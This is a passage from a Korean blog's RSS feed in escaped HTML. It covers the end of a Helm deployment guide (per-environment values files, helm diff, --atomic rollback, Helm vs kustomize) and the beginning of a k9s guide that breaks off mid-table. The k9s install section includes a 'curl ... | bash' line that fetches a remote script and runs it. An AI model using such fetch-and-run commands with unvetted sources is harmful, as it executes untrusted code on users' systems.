9KjVou4Udnu/2fnNIeg+7OofoU94UJoCalUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/f38a6f92fec24363842f2feb56cfea56/a1b3b/diagram-anatomy.webp 215w,
/static/f38a6f92fec24363842f2feb56cfea56/fc700/diagram-anatomy.webp 430w,
/static/f38a6f92fec24363842f2feb56cfea56/521f7/diagram-anatomy.webp 860w,
/static/f38a6f92fec24363842f2feb56cfea56/cbd37/diagram-anatomy.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/f38a6f92fec24363842f2feb56cfea56/f7886/diagram-anatomy.png 215w,
/static/f38a6f92fec24363842f2feb56cfea56/bc750/diagram-anatomy.png 430w,
/static/f38a6f92fec24363842f2feb56cfea56/3e3fe/diagram-anatomy.png 860w,
/static/f38a6f92fec24363842f2feb56cfea56/64756/diagram-anatomy.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/f38a6f92fec24363842f2feb56cfea56/3e3fe/diagram-anatomy.png&apos; alt=&apos;Helm Chart + Values + Release 구조 — 같은 Chart에 환경별 Values를 주입해 여러 Release로 배포&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Helm Chart + Values + Release 구조 — 같은 Chart에 환경별 Values를 주입해 여러 Release로 배포&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;파일 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;deploy/
├── Chart/              # 공통 Chart
└── values/
    ├── values-dev.yaml
    ├── values-staging.yaml
    └── values-prod.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;values-dev.yaml&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;replicaCount&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;tag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 100m
    &lt;span class=&quot;token key atrule&quot;&gt;memory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 128Mi
&lt;span class=&quot;token key atrule&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;false&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;values-prod.yaml&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;replicaCount&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;tag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1.2.4
&lt;span class=&quot;token key atrule&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 500m
    &lt;span class=&quot;token key atrule&quot;&gt;memory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 512Mi
  &lt;span class=&quot;token key atrule&quot;&gt;limits&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cpu&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1000m
    &lt;span class=&quot;token key atrule&quot;&gt;memory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1Gi
&lt;span class=&quot;token key atrule&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api.example.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;배포 명령&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# dev&lt;/span&gt;
helm upgrade &lt;span class=&quot;token parameter variable&quot;&gt;--install&lt;/span&gt; my-app ./Chart &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values/values-dev.yaml &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt; dev

&lt;span class=&quot;token comment&quot;&gt;# prod (여러 -f 체이닝 가능 — 뒤에 올수록 우선)&lt;/span&gt;
helm upgrade &lt;span class=&quot;token parameter variable&quot;&gt;--install&lt;/span&gt; my-app ./Chart &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values/values-common.yaml &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values/values-prod.yaml &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt; production&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;핵심 패턴:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;upgrade --install&lt;/code&gt;은 &lt;strong&gt;없으면 install, 있으면 upgrade&lt;/strong&gt;로 동작합니다. CD 파이프라인에서 이 한 줄이면 충분합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;실전 생산성 팁 5가지&lt;/h2&gt;
&lt;h3&gt;1) &lt;code class=&quot;language-text&quot;&gt;helm template&lt;/code&gt; — 드라이런&lt;/h3&gt;
&lt;p&gt;실제 렌더링될 YAML을 눈으로 확인합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm template my-app ./Chart &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values-prod.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;배포 전에 무엇이 생성될지 검증 가능. CI에 끼우면 배포 사고를 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;h3&gt;2) &lt;code class=&quot;language-text&quot;&gt;helm diff&lt;/code&gt; 플러그인 — 변경점 미리보기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 플러그인 설치 (1회)&lt;/span&gt;
helm plugin &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; https://github.com/databus23/helm-diff

&lt;span class=&quot;token comment&quot;&gt;# 업그레이드 전 diff 확인&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;diff&lt;/span&gt; upgrade my-app ./Chart &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values-prod.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;terraform plan&lt;/code&gt; 같은 역할. &lt;strong&gt;운영 환경에서 필수&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;3) &lt;code class=&quot;language-text&quot;&gt;--atomic&lt;/code&gt; — 실패 시 자동 롤백&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm upgrade &lt;span class=&quot;token parameter variable&quot;&gt;--install&lt;/span&gt; my-app ./Chart &lt;span class=&quot;token parameter variable&quot;&gt;--atomic&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--timeout&lt;/span&gt; 5m&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;업그레이드 중 하나라도 실패하면 자동으로 이전 버전으로 롤백. 사람 개입 없이 안전.&lt;/p&gt;
&lt;h3&gt;4) OCI 레지스트리 사용&lt;/h3&gt;
&lt;p&gt;Helm 3.8+는 Chart를 OCI(도커 레지스트리 표준)에 저장할 수 있습니다. 별도 Chart 서버 필요 없음.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# push&lt;/span&gt;
helm push my-app-0.1.0.tgz oci://registry.example.com/charts

&lt;span class=&quot;token comment&quot;&gt;# install&lt;/span&gt;
helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; my-app oci://registry.example.com/charts/my-app &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.1&lt;/span&gt;.0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GHCR·AWS ECR·Harbor 모두 지원합니다.&lt;/p&gt;
&lt;h3&gt;5) &lt;code class=&quot;language-text&quot;&gt;helm lint&lt;/code&gt; — 차트 검증&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm lint ./Chart &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values-prod.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;문법·필수 필드·관례 위반을 잡아줍니다. CI 첫 스텝에 넣어두는 걸 권장합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Helm vs kustomize — 언제 뭘 쓰나?&lt;/h2&gt;
&lt;p&gt;쿠버네티스 생태계에서 가장 자주 비교되는 두 도구입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Helm&lt;/th&gt;
&lt;th&gt;kustomize&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;방식&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;템플릿 + 변수&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;patch/overlay&lt;/strong&gt; (변수 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;학습 곡선&lt;/td&gt;
&lt;td&gt;Go 템플릿 문법 필요&lt;/td&gt;
&lt;td&gt;YAML만 알면 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;릴리스 관리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;helm history&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;rollback&lt;/code&gt; 내장&lt;/td&gt;
&lt;td&gt;없음 (kubectl에 의존)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패키지 공유&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;레포지토리 생태계 풍부&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빈약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;의존성 관리&lt;/td&gt;
&lt;td&gt;subcharts 지원&lt;/td&gt;
&lt;td&gt;직접 composition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;환경 분리&lt;/td&gt;
&lt;td&gt;values 파일&lt;/td&gt;
&lt;td&gt;overlay 디렉토리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;선택 기준:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;외부 Chart를 많이 쓴다&lt;/strong&gt; → Helm (ingress-nginx, cert-manager, prometheus 등은 거의 Helm Chart)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사내 YAML만 관리한다&lt;/strong&gt; → kustomize (러닝 커브 낮음)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;둘 다 필요하다&lt;/strong&gt; → Helm Chart를 kustomize로 오버레이 (흔한 하이브리드)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;다음 편에서 kustomize를 따로 다루며 실제 비교 예제를 보여드리겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 3가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;템플릿 결과에 빈 줄이 잔뜩&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;{{- if .. -}}&lt;/code&gt; 처럼 &lt;code class=&quot;language-text&quot;&gt;-&lt;/code&gt;로 공백 제거. YAML 파싱 에러의 주요 원인.&lt;/p&gt;
&lt;h3&gt;2) &quot;values 오버라이드가 안 먹힌다&quot;&lt;/h3&gt;
&lt;p&gt;→ &lt;code class=&quot;language-text&quot;&gt;-f&lt;/code&gt; 는 뒤에 올수록 우선. &lt;code class=&quot;language-text&quot;&gt;--set&lt;/code&gt;은 &lt;code class=&quot;language-text&quot;&gt;-f&lt;/code&gt;보다 뒤에 적용됨. 확인하려면 &lt;code class=&quot;language-text&quot;&gt;helm get values &amp;lt;release&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;3) &quot;업그레이드 후 Pod가 바뀌지 않음&quot;&lt;/h3&gt;
&lt;p&gt;→ 이미지 태그를 &lt;code class=&quot;language-text&quot;&gt;latest&lt;/code&gt; 로 두면 K8S가 업데이트를 감지하지 못합니다. &lt;strong&gt;항상 구체적 버전 태그 사용&lt;/strong&gt;. 또는 ConfigMap 체크섬을 annotation에 넣어 강제 재생성.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;checksum/config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; include (print $.Template.BasePath &quot;/configmap.yaml&quot;) . &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; sha256sum &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. Helm 2와 Helm 3는 뭐가 다른가요?&lt;/h3&gt;
&lt;p&gt;Helm 2의 &lt;code class=&quot;language-text&quot;&gt;Tiller&lt;/code&gt;(클러스터 서버 컴포넌트)가 Helm 3에서 &lt;strong&gt;제거&lt;/strong&gt;되어 보안 이슈와 복잡도가 크게 줄었습니다. 지금 시작한다면 무조건 Helm 3 이상을 쓰세요. Helm 2는 2020년 말 EOL입니다.&lt;/p&gt;
&lt;h3&gt;Q. 운영 환경에서 Helm을 써도 안전한가요?&lt;/h3&gt;
&lt;p&gt;네, 대부분의 운영 환경이 Helm을 씁니다. 다만 &lt;strong&gt;반드시 &lt;code class=&quot;language-text&quot;&gt;helm diff&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;--atomic&lt;/code&gt;을 조합&lt;/strong&gt;하세요. 이 두 장치가 없으면 YAML 수동 관리보다 오히려 위험할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q. Chart 버전 관리는 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Chart.yaml&lt;/code&gt; 의 &lt;code class=&quot;language-text&quot;&gt;version&lt;/code&gt;(Chart 자체 버전)과 &lt;code class=&quot;language-text&quot;&gt;appVersion&lt;/code&gt;(애플리케이션 버전)을 둘 다 의미있게 올리세요. 일반적으로:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;appVersion 변경&lt;/strong&gt; → 앱 코드 업데이트&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;version 변경&lt;/strong&gt; → Chart 템플릿·values 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;두 개가 분리되어 있으면 &quot;앱은 그대로인데 Chart만 바꾸는&quot; 케이스를 명확히 추적할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q. Chart를 공개 배포하고 싶은데 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;세 가지 옵션이 있습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GitHub Pages + chart-releaser&lt;/strong&gt; — 무료, 셋업 간단&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OCI 레지스트리 (GHCR·Harbor)&lt;/strong&gt; — 컨테이너 이미지와 통합 관리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Artifact Hub 등록&lt;/strong&gt; — 검색 노출 (위 2개 중 하나 + 등록)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;사내용이면 OCI, 오픈소스면 Artifact Hub 등록까지 해두는 게 표준입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;Helm은 &quot;YAML이 100줄 넘어가는 순간&quot;부터 진가가 드러납니다. 오늘 정리한 핵심만 다시 짚으면:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Helm은 &lt;strong&gt;K8S의 패키지 매니저&lt;/strong&gt; — Chart·Release·Repository 3개 개념&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;upgrade --install&lt;/code&gt; 한 줄로 CD 파이프라인 완성&lt;/li&gt;
&lt;li&gt;환경별 &lt;strong&gt;values 파일 분리&lt;/strong&gt;가 진짜 가치&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;helm diff&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;--atomic&lt;/code&gt;이 운영 안전장치&lt;/li&gt;
&lt;li&gt;외부 Chart 생태계(ingress-nginx, cert-manager, prometheus 등)가 풍부함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; kustomize로 환경별 YAML 관리 (Helm 대안 · 조합)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD로 GitOps 배포 파이프라인 (Helm + Git)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Prometheus + Grafana 모니터링 스택&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 Helm을 쓰면서 가장 유용했던 패턴이나 반대로 고생했던 지점이 있으신가요? 댓글로 공유해주시면 다음 편에 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[k9s 완벽 가이드 — kubectl보다 10배 빠른 쿠버네티스 TUI 대시보드]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/k9s-essential-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/k9s-essential-guide/</guid><pubDate>Sat, 18 Apr 2026 22:30:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;&lt;code class=&quot;language-text&quot;&gt;kubectl get pods&lt;/code&gt; 치고, &lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt; 치고, &lt;code class=&quot;language-text&quot;&gt;logs&lt;/code&gt; 치고… 하루에 같은 명령을 몇 십 번 반복하고 있습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. 쿠버네티스 운영이 익숙해질수록 반복 타이핑이 쌓이고, 멀티 컨텍스트·멀티 네임스페이스를 오갈 때는 &lt;code class=&quot;language-text&quot;&gt;kubectl config use-context&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;-n namespace&lt;/code&gt; 옵션 붙이는 것만으로도 피곤해집니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;k9s는 이 반복을 키보드 몇 개로 줄여주는 쿠버네티스 TUI 대시보드입니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;~/.kube/config&lt;/code&gt;만 있으면 바로 동작하고, Pod 목록·로그·exec·port-forward를 전부 한 화면에서 처리합니다. 오늘은 설치부터 실전 워크플로우, 커스터마이징까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt;와 &lt;a href=&quot;/kubectl-essential-commands/&quot;&gt;kubectl 실전 명령어 가이드&lt;/a&gt;부터 읽고 오시면 흐름이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;k9s란?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://k9scli.io/&quot;&gt;k9s&lt;/a&gt;는 터미널에서 동작하는 &lt;strong&gt;쿠버네티스 TUI(Text UI) 대시보드&lt;/strong&gt;입니다. Go로 작성된 단일 바이너리이고, 오픈소스(Apache 2.0)입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;~/.kube/config&lt;/code&gt;를 그대로 사용 — kubectl이 되면 k9s도 됩니다&lt;/li&gt;
&lt;li&gt;실시간 리프레시 (기본 2초 간격)&lt;/li&gt;
&lt;li&gt;키보드 단축키 기반 내비게이션&lt;/li&gt;
&lt;li&gt;로그 스트리밍·exec·port-forward·edit 모두 한 화면에서&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;핵심 장점:&lt;/strong&gt; &quot;어떤 리소스가 어떤 상태인지&quot; 한눈에 보여주기 때문에, 디버깅과 탐색이 압도적으로 빠릅니다. kubectl이 &quot;정밀한 외과용 칼&quot;이라면 k9s는 &quot;넓게 스캔하는 관제실 모니터&quot;에 가깝습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;설치 — OS별 한 줄 명령어&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# macOS&lt;/span&gt;
brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; derailed/k9s/k9s

&lt;span class=&quot;token comment&quot;&gt;# Linux (snap)&lt;/span&gt;
snap &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; k9s &lt;span class=&quot;token parameter variable&quot;&gt;--devmode&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Linux (바이너리 직접 다운로드)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sS&lt;/span&gt; https://webinstall.dev/k9s &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Windows (scoop)&lt;/span&gt;
scoop &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; k9s

&lt;span class=&quot;token comment&quot;&gt;# Windows (winget)&lt;/span&gt;
winget &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; k9s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;설치 후 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;k9s version
&lt;span class=&quot;token comment&quot;&gt;# 또는 바로 실행&lt;/span&gt;
k9s&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;k9s가 뜨면 현재 컨텍스트의 리소스가 보입니다. 설정 끝.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;주의:&lt;/strong&gt; k9s는 현재 컨텍스트를 그대로 사용합니다. 실수로 운영 클러스터에서 실행하지 않도록 &lt;code class=&quot;language-text&quot;&gt;kubectl config current-context&lt;/code&gt;로 먼저 확인하는 습관을 들이세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;화면 구성 — 3줄로 끝&lt;/h2&gt;
&lt;p&gt;k9s는 UI가 단순합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;영역&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;상단 헤더&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;현재 컨텍스트·클러스터·네임스페이스·단축키 힌트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;리스트 뷰&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;현재 조회 중인 리소스(Pod, Deployment 등) 테이블&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;커맨드바&lt;/strong&gt;&lt;/td&gt;
